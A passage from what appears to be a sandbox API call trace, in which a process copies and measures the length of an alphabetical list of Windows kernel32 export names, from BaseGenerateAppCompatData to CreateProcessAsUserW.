lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0036.033] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0036.033] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0036.033] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0036.033] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0036.033] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0036.033] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0036.033] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0036.033] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0036.033] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0036.033] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0036.033] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0036.033] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0036.033] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0036.033] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0036.033] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0036.033] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0036.033] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0036.033] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0036.033] lstrlenA (lpString="BEEP") returned 4 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0036.033] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0036.034] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0036.034] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0036.034] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0036.034] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0036.034] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0036.034] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0036.034] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0036.034] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0036.034] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0036.034] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0036.034] lstrlenA (lpString="CANCELIO") returned 8 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0036.034] lstrlenA (lpString="CANCELIOEX") returned 10 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0036.034] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0036.034] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0036.034] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0036.034] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0036.034] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0036.034] lstrlenA (lpString="CHECKELEVATION") returned 14 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0036.034] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0036.034] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0036.034] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0036.034] lstrcpyA (in: lpString1=0x34f228, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0036.034] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0036.035] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0036.035] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0036.035] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0036.035] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0036.035] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0036.035] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0036.035] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0036.035] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0036.035] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0036.035] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0036.035] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0036.035] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0036.035] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0036.035] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0036.035] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0036.035] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0036.035] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0036.035] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0036.035] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0036.035] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0036.035] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0036.035] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0036.035] lstrcpyA (in: lpString1=0x34f228, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0036.036] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0036.036] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0036.036] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0036.036] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0036.036] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0036.036] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0036.036] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0036.036] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0036.036] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0036.036] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0036.036] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0036.036] lstrlenA (lpString="COPYCONTEXT") returned 11 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0036.036] lstrlenA (lpString="COPYFILEA") returned 9 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0036.036] lstrlenA (lpString="COPYFILEEXA") returned 11 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0036.036] lstrlenA (lpString="COPYFILEEXW") returned 11 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0036.036] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0036.036] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0036.036] lstrlenA (lpString="COPYFILEW") returned 9 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0036.036] lstrlenA (lpString="COPYLZFILE") returned 10 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0036.036] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0036.036] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0036.036] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0036.036] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0036.037] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0036.037] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0036.037] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0036.037] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0036.037] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0036.037] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0036.037] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0036.037] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0036.037] lstrlenA (lpString="CREATEEVENTA") returned 12 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0036.037] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0036.037] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0036.037] lstrlenA (lpString="CREATEEVENTW") returned 12 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0036.037] lstrlenA (lpString="CREATEFIBER") returned 11 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0036.037] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0036.037] lstrlenA (lpString="CREATEFILEA") returned 11 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0036.037] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0036.037] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0036.037] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0036.037] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0036.037] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0036.037] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0036.037] lstrlenA (lpString="CREATEFILEW") returned 11 [0036.037] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0036.038] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0036.038] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0036.038] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0036.038] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0036.038] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0036.038] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0036.038] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0036.038] lstrlenA (lpString="CREATEJOBSET") returned 12 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0036.038] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0036.038] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0036.038] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0036.038] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0036.038] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0036.038] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0036.038] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0036.038] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0036.038] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0036.038] lstrlenA (lpString="CREATEPIPE") returned 10 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0036.038] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0036.038] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0036.038] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0036.039] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0036.039] lstrlenA 